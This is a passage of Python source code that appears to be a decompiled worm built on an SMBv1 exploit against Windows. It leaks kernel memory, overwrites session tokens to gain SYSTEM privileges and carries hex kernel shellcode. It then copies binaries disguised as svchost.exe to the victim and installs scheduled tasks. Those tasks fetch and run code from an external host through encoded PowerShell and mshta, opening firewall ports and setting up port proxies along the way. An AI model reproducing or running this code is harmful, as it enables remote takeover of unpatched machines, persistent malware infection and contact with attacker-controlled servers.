  424. conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
  425. wait_for_request_processed(conn)
  426. TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 4096 + HEAP_CHUNK_PAD_SIZE
  427. PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
  428. PREV_TRANS_OFFSET = 4294967296L - PREV_TRANS_DISPLACEMENT
  429. conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
  430. if info['arch'] == 'x64':
  431. conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
  432. conn.send_trans_secondary(mid=info['fid'], data='\x00\x00\x00\x00', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
  433. wait_for_request_processed(conn)
  434. print 'leak next transaction'
  435. conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_FUNCTION_OFFSET'])
  436. conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 256, 256), dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_PARAMCNT_OFFSET'])
  437. conn.send_nt_trans_secondary(mid=special_mid)
  438. leakData = conn.recv_transaction_data(special_mid, 256)
  439. leakData = leakData[4:]
  440. if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != TRANS_CHUNK_SIZE // info['POOL_ALIGN']:
  441. print 'chunk size is wrong'
  442. return False
  443. leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  444. leakTrans = leakData[leakTranOffset:]
  445. fmt = info['PTR_FMT']
  446. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + fmt * 5, leakTrans, 8)
  447. inparam_value, outparam_value, indata_value = unpack_from('<' + fmt * 3, leakTrans, info['TRANS_INPARAM_OFFSET'])
  448. trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  449. print ('CONNECTION: 0x{:x}').format(connection_addr)
  450. print ('SESSION: 0x{:x}').format(session_addr)
  451. print ('FLINK: 0x{:x}').format(flink_value)
  452. print ('InData: 0x{:x}').format(indata_value)
  453. print ('MID: 0x{:x}').format(trans2_mid)
  454. trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
  455. trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
  456. print ('TRANS1: 0x{:x}').format(trans1_addr)
  457. print ('TRANS2: 0x{:x}').format(trans2_addr)
  458. print 'modify transaction struct for arbitrary read/write'
  459. TRANS_OFFSET = 4294967296L - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
  460. conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<' + fmt * 3, trans1_addr, trans1_addr + 512, trans2_addr), paramDisplacement=TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'])
  461. wait_for_request_processed(conn)
  462. trans1_mid = conn.next_mid()
  463. conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
  464. wait_for_request_processed(conn)
  465. info.update({'connection': connection_addr, 'session': session_addr, 'trans1_mid': trans1_mid, 'trans1_addr': trans1_addr, 'trans2_mid': trans2_mid, 'trans2_addr': trans2_addr})
  466. return True
  467. def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
  468. SID_SYSTEM = pack('<BB5xBI', 1, 1, 5, 18)
  469. SID_ADMINISTRATORS = pack('<BB5xBII', 1, 2, 5, 32, 544)
  470. SID_AUTHENICATED_USERS = pack('<BB5xBI', 1, 1, 5, 11)
  471. SID_EVERYONE = pack('<BB5xBI', 1, 1, 1, 0)
  472. sids = [SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS]
  473. attrs = [0, 14, 7, 7]
  474. fakeUserAndGroupCount = min(userAndGroupCount, 4)
  475. fakeUserAndGroupsAddr = userAndGroupsAddr
  476. addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info['PTR_SIZE'] * 2
  477. fakeUserAndGroups = ''
  478. for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
  479. fakeUserAndGroups += pack('<' + info['PTR_FMT'] * 2, addr, attr)
  480. addr += len(sid)
  481. fakeUserAndGroups += ('').join(sids[:fakeUserAndGroupCount])
  482. return (fakeUserAndGroupCount, fakeUserAndGroups)
  483. def exploit(target, pipe_name, USERNAME, PASSWORD, tg):
  484. conn = MYSMB(target)
  485. conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  486. info = {}
  487. conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
  488. server_os = conn.get_server_os()
  489. print 'Target OS: ' + server_os
  490. if server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server 2008 R2'):
  491. info['os'] = 'WIN7'
  492. info['method'] = exploit_matched_pairs
  493. elif server_os.startswith('Windows 8') or server_os.startswith('Windows Server 2012 ') or server_os.startswith('Windows Server 2016 ') or server_os.startswith('Windows 10') or server_os.startswith('Windows RT 9200'):
  494. info['os'] = 'WIN8'
  495. info['method'] = exploit_matched_pairs
  496. elif server_os.startswith('Windows Server (R) 2008') or server_os.startswith('Windows Vista'):
  497. info['os'] = 'WIN7'
  498. info['method'] = exploit_fish_barrel
  499. elif server_os.startswith('Windows Server 2003 '):
  500. info['os'] = 'WIN2K3'
  501. info['method'] = exploit_fish_barrel
  502. elif server_os.startswith('Windows 5.1'):
  503. info['os'] = 'WINXP'
  504. info['arch'] = 'x86'
  505. info['method'] = exploit_fish_barrel
  506. elif server_os.startswith('Windows XP '):
  507. info['os'] = 'WINXP'
  508. info['arch'] = 'x64'
  509. info['method'] = exploit_fish_barrel
  510. elif server_os.startswith('Windows 5.0'):
  511. info['os'] = 'WIN2K'
  512. info['arch'] = 'x86'
  513. info['method'] = exploit_fish_barrel
  514. else:
  515. print 'This exploit does not support this target'
  516. if pipe_name is None:
  517. pipe_name = find_named_pipe(conn)
  518. if pipe_name is None:
  519. print 'Not found accessible named pipe'
  520. return False
  521. print 'Using named pipe: ' + pipe_name
  522. if not info['method'](conn, pipe_name, info):
  523. return False
  524. fmt = info['PTR_FMT']
  525. print 'make this SMB session to be SYSTEM'
  526. write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01')
  527. sessionData = read_data(conn, info, info['session'], 256)
  528. secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
  529. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  530. if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
  531. pctxtDataInfo = read_data(conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
  532. pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0]
  533. else:
  534. pctxtDataAddr = secCtxAddr
  535. tokenAddrInfo = read_data(conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
  536. tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0]
  537. print ('current TOKEN addr: 0x{:x}').format(tokenAddr)
  538. tokenData = read_data(conn, info, tokenAddr, 64 * info['PTR_SIZE'])
  539. userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
  540. print 'overwriting token UserAndGroups'
  541. fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
  542. if fakeUserAndGroupCount != userAndGroupCount:
  543. write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
  544. write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
  545. else:
  546. secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
  547. print 'overwriting session security context'
  548. write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
  549. try:
  550. smb_pwn(conn, info['arch'], tg)
  551. except:
  552. pass
  553. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  554. userAndGroupsOffset = userAndGroupsAddr - tokenAddr
  555. write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset + len(fakeUserAndGroups)])
  556. if fakeUserAndGroupCount != userAndGroupCount:
  557. write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', userAndGroupCount))
  558. else:
  559. write_data(conn, info, secCtxAddr, secCtxData)
  560. conn.disconnect_tree(conn.get_tid())
  561. conn.logoff()
  562. conn.get_socket().close()
  563. time.sleep(2)
  564. return True
  565. def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
  566. userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
  567. userAndGroupsAddr, RestrictedSids = unpack_from('<' + info['PTR_FMT'] * 2, tokenData, userAndGroupsAddrOffset)
  568. success = True
  569. if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
  570. print 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!'
  571. print ('RestrictedSids: 0x{:x}').format(RestrictedSids)
  572. print ('RestrictedSidCount: 0x{:x}').format(RestrictedSidCount)
  573. success = False
  574. print ('userAndGroupCount: 0x{:x}').format(userAndGroupCount)
  575. print ('userAndGroupsAddr: 0x{:x}').format(userAndGroupsAddr)
  576. return (success, userAndGroupCount, userAndGroupsAddr)
  577. def get_group_data_from_token(info, tokenData):
  578. userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
  579. userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
  580. success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
  581. if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
  582. print 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround'
  583. userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
  584. userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
  585. success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
  586. if not success:
  587. print 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
  588. return (
  589. userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset)
  590. def smb_pwn(conn, arch, tg):
  591. ee = ''
  592. eb = 'c:\\windows\\system32\\calc.exe'
  593. smbConn = conn.get_smbconnection()
  594. if os.path.exists('c:/windows/system32/svhost.exe'):
  595. eb = 'c:\\windows\\system32\\svhost.exe'
  596. if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
  597. eb = 'c:\\windows\\SysWOW64\\svhost.exe'
  598. if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
  599. eb = 'c:\\windows\\system32\\drivers\\svchost.exe'
  600. if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
  601. eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
  602. service_exec(conn, 'cmd /c net share c$=c:')
  603. if tg == 2:
  604. smb_send_file(smbConn, eb, 'c', '/installed2.exe')
  605. else:
  606. smb_send_file(smbConn, eb, 'c', '/installed.exe')
  607. if os.path.exists('c:/windows/temp/svvhost.exe'):
  608. ee = 'c:\\windows\\temp\\svvhost.exe'
  609. if os.path.exists('c:/windows/temp/svchost.exe'):
  610. ee = 'c:\\windows\\temp\\svchost.exe'
  611. if '.exe' in ee:
  612. smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe')
  613. else:
  614. print 'no eb**************************'
  615. if tg == 2:
  616. bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
  617. else:
  618. bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
  619. service_exec(conn, bat)
  620. def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
  621. with open(localSrc, 'rb') as fp:
  622. smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
  623. def service_exec(conn, cmd):
  624. import random
  625. random.choice = random.choice
  626. random.randint = random.randint
  627. import string
  628. from impacket.dcerpc.v5 import transport, srvs, scmr
  629. service_name = ('').join([random.choice(string.letters) for i in range(4)])
  630. rpcsvc = conn.get_dce_rpc('svcctl')
  631. rpcsvc.connect()
  632. rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
  633. svcHandle = None
  634. try:
  635. try:
  636. print 'Opening SVCManager on %s.....' % conn.get_remote_host()
  637. resp = scmr.hROpenSCManagerW(rpcsvc)
  638. svcHandle = resp['lpScHandle']
  639. try:
  640. resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
  641. except Exception as e:
  642. if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
  643. raise e
  644. else:
  645. scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
  646. scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
  647. print 'Creating service %s.....' % service_name
  648. resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
  649. serviceHandle = resp['lpServiceHandle']
  650. if serviceHandle:
  651. try:
  652. print 'Starting service %s.....' % service_name
  653. scmr.hRStartServiceW(rpcsvc, serviceHandle)
  654. time.sleep(2)
  655. print 'Stoping service %s.....' % service_name
  656. scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
  657. time.sleep(2)
  658. except Exception as e:
  659. print str(e)
  660. print 'Removing service %s.....' % service_name
  661. scmr.hRDeleteService(rpcsvc, serviceHandle)
  662. scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
  663. except Exception as e:
  664. print 'ServiceExec Error on: %s' % conn.get_remote_host()
  665. print str(e)
  666. finally:
  667. if svcHandle:
  668. scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
  669. rpcsvc.disconnect()
  670. scode = '31c0400f84be03000060e8000000005be823000000b9760100000f328d7b3c39f87411394500740689450089550889f831d20f3061c224008dab00100000c1ed0cc1e50c81ed50000000c3b92300000068300000000fa18ed98ec1648b0d400000008b6104519c60e8000000005be8c5ffffff8b450005170000008944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8e100000097b83f5f647757e8d500000029f889c13d70010000750505080000008d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e8a70000008b400a8d50048d340fe8d70000003d5a6afac174113dd883e03e740a8b3c1729d7e9e0ffffff897d0c8d1c1f8d75105f8b5b04b83e4cf8cee86a0000008b400a3ca077022c0829f8817c03fc0000000074de31c05568010000005550e800000000810424950000005053293c2456b8c45c196de82800000031c050505056b83446ccafe81800000085c074a48b451c80780e01740a8900894004e991ffffffc3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064a22400000099b04050c1e0065054528911514a52b8ea996e57e87bffffff85c07553588b38e8000000005e81c659000000b900040000f3a48b450c50b848b818b8e853ffffff8b400c8b40148b0066817824180075f68b5028817a0c3300320075ea8b5810895d04b85e515e83e82effffff59890131c08845084064a22400000061c35a585859515151e8000000008104240c000000515152ffe0dadeba67042d06d97424f45d31c9b14383c504315513033217cff340ff8dfcb800f2755d3132e1166282617a8f69276e041fe081adaad6ac2e862bafacd57f0f8c15724ec9487f028207d2b2a752ef39fb7377de4c755671c62c78700b45316a48608b01ba1e0ac3f2dfa12a3b12bb6bfccdce85fe70c9527caf5c402624c6acd6e99127d446d56ff9593a0405d1bdca8fa199ced4728357b1d5bc871a8918ccb7de108fdd21a6aa9022b8b4844a893f4b0c16ea2ff2f43e5a9ba0abe7c652062bffd0a2d404c8c7d1414e34a8da3b3a1fda6959f240b2b26fa9dca91b89554281bbb5cf7154856ba2cfd11791651b84bf1f081d60cfcf0504297ea0b01512455a3786feeed823702f46a81d46e659aeec84f824621b88e417e306d78333f87628500655e82e000000b9820000c00f324c8d0d370000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305dc3488d2d0010000048c1ed0c48c1e50c4881ed70000000c30f01f865488924251000000065488b2425a8010000682b00000065ff342510000000505055e8bfffffff488b450048051f00000048894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8180100004891bf3f5f6477e8130100008b400389c33d0004000072050510000000488d50284c8d04114d89c14d8b094d39c80f84db0000004c89c84c29f0483d0007000077e64d29cebfe1140117e8d00000008b780381c708000000488d3419e8060100003d5a6afac174133dd883e03e740c488b0c394829f9e9ddffffffbf48b818b8e893000000488945f0488d34114889f3488b5b084839de74f74a8d1433bf3e4cf8cee8780000008b400348817c02f80000000074db488d4d104d31c04c8d0db50000005568010000005541504881ec20000000bfc45c196de83b000000488d4d104d31c9bf3446ccafe82a0000004881c44000000085c07497488b452080781a01740c48890048894008e981ffffff585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014881ec20000000bfea996e57e862ffffff4881c43000000085c07546488b3e488d354e000000b900060000f3a4488b45f0488b4018488b4020488b0066817848180075f5488b5050817a0c3300320075e84c8b7820bf5e515e83e81bffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d051300000089ca4881ec20000000ffd04881c430000000c3dac4d97424f4be15624e335f33c9b15731771a83c704037716e2e09e06b0eeaf7f76ee4f8036bf0ed0ea6ec7983b428250b7302d294ce6b5e1d954e6b9562ab671667d7cc835b04884f472e629960ef57d78af38b4756eba86649dee49381584189a2ed8a092310d53a2b9ad64a3f128a4d7667b24c838f06ef0fc8d2f20b5907fc313db80cdda504a469467651b15a1c195959d9314dcd352961fd3b4ed6e683642b4797d63650ca5cbc16415c8807b467653f76a3f178c33a3de93639a6b970b556a484a3e2d3013e7f781f3565e435e11e3af7ee0b1d09fba74763a73fd9a53d4fe645c864821a2394855a5394855edb4c554ecc6d51754f75ef82f07b5bcd0e51fc9
  671. sc = binascii.unhexlify(scode)
  672. NTFEA_SIZE = 69632
  673. ntfea10000 = pack('<BBH', 0, 0, 65501) + 'A' * 65502
  674. ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00') * 600
  675. ntfea11000 += pack('<BBH', 0, 0, 62397) + 'A' * 62398
  676. ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00') * 9364
  677. ntfea1f000 += pack('<BBH', 0, 0, 18669) + 'A' * 18670
  678. ntfea = {65536: ntfea10000, 69632: ntfea11000}
  679. TARGET_HAL_HEAP_ADDR_x64 = 18446744073706405904L
  680. TARGET_HAL_HEAP_ADDR_x86 = 4292866048L
  681. fakeSrvNetBufferNsa = pack('<II', 69632, 0) * 2
  682. fakeSrvNetBufferNsa += pack('<HHI', 65535, 0, 0) * 2
  683. fakeSrvNetBufferNsa += '\x00' * 16
  684. fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 32)
  685. fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 96, 4100, 0)
  686. fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 - 128, 0, TARGET_HAL_HEAP_ADDR_x64)
  687. fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
  688. fakeSrvNetBufferNsa += pack('<QHHI', 0, 96, 4100, 0)
  689. fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
  690. fakeSrvNetBufferX64 = pack('<II', 69632, 0) * 2
  691. fakeSrvNetBufferX64 += pack('<HHIQ', 65535, 0, 0, 0)
  692. fakeSrvNetBufferX64 += '\x00' * 16
  693. fakeSrvNetBufferX64 += '\x00' * 16
  694. fakeSrvNetBufferX64 += '\x00' * 16
  695. fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
  696. fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
  697. fakeSrvNetBufferX64 += pack('<QHHI', 0, 96, 4100, 0)
  698. fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
  699. fakeSrvNetBuffer = fakeSrvNetBufferNsa
  700. feaList = pack('<I', 65536)
  701. feaList += ntfea[NTFEA_SIZE]
  702. feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer) - 1) + fakeSrvNetBuffer
  703. feaList += pack('<BBH', 18, 52, 22136)
  704. fake_recv_struct = pack('<QII', 0, 3, 0)
  705. fake_recv_struct += '\x00' * 16
  706. fake_recv_struct += pack('<QII', 0, 3, 0)
  707. fake_recv_struct += '\x00' * 16 * 7
  708. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 160, TARGET_HAL_HEAP_ADDR_x64 + 160)
  709. fake_recv_struct += '\x00' * 16
  710. fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 + 192, TARGET_HAL_HEAP_ADDR_x86 + 192, 0)
  711. fake_recv_struct += '\x00' * 16 * 11
  712. fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 400)
  713. fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86 + 496 - 1, 0)
  714. fake_recv_struct += '\x00' * 16 * 3
  715. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 480)
  716. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 496 - 1)
  717. def getNTStatus(self):
  718. return self['ErrorCode'] << 16 | self['_reserved'] << 8 | self['ErrorClass']
  719. setattr(smb.NewSMBPacket, 'getNTStatus', getNTStatus)
  720. def sendEcho(conn, tid, data):
  721. pkt = smb.NewSMBPacket()
  722. pkt['Tid'] = tid
  723. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
  724. transCommand['Parameters'] = smb.SMBEcho_Parameters()
  725. transCommand['Data'] = smb.SMBEcho_Data()
  726. transCommand['Parameters']['EchoCount'] = 1
  727. transCommand['Data']['Data'] = data
  728. pkt.addCommand(transCommand)
  729. conn.sendSMB(pkt)
  730. recvPkt = conn.recvSMB()
  731. if recvPkt.getNTStatus() == 0:
  732. print 'got good ECHO response'
  733. else:
  734. print ('got bad ECHO response: 0x{:x}').format(recvPkt.getNTStatus())
  735. def createSessionAllocNonPaged(target, size):
  736. conn = smb.SMB(target, target)
  737. _, flags2 = conn.get_flags()
  738. flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
  739. if size >= 65535:
  740. flags2 &= ~smb.SMB.FLAGS2_UNICODE
  741. reqSize = size // 2
  742. else:
  743. flags2 |= smb.SMB.FLAGS2_UNICODE
  744. reqSize = size
  745. conn.set_flags(flags2=flags2)
  746. pkt = smb.NewSMBPacket()
  747. sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
  748. sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
  749. sessionSetup['Parameters']['MaxBufferSize'] = 61440
  750. sessionSetup['Parameters']['MaxMpxCount'] = 2
  751. sessionSetup['Parameters']['VcNumber'] = 2
  752. sessionSetup['Parameters']['SessionKey'] = 0
  753. sessionSetup['Parameters']['SecurityBlobLength'] = 0
  754. sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
  755. sessionSetup['Data'] = pack('<H', reqSize) + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  756. pkt.addCommand(sessionSetup)
  757. conn.sendSMB(pkt)
  758. recvPkt = conn.recvSMB()
  759. if recvPkt.getNTStatus() == 0:
  760. print 'SMB1 session setup allocate nonpaged pool success'
  761. else:
  762. print 'SMB1 session setup allocate nonpaged pool failed'
  763. return conn
  764. class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
  765. structure = (
  766. ('TotalParameterCount', '<H=0'), ('TotalDataCount', '<H'), ('ParameterCount', '<H=0'), ('ParameterOffset', '<H=0'), ('ParameterDisplacement', '<H=0'), ('DataCount', '<H'), ('DataOffset', '<H'), ('DataDisplacement', '<H=0'), ('FID', '<H=0'))
  767. def send_trans2_second(conn, tid, data, displacement):
  768. pkt = smb.NewSMBPacket()
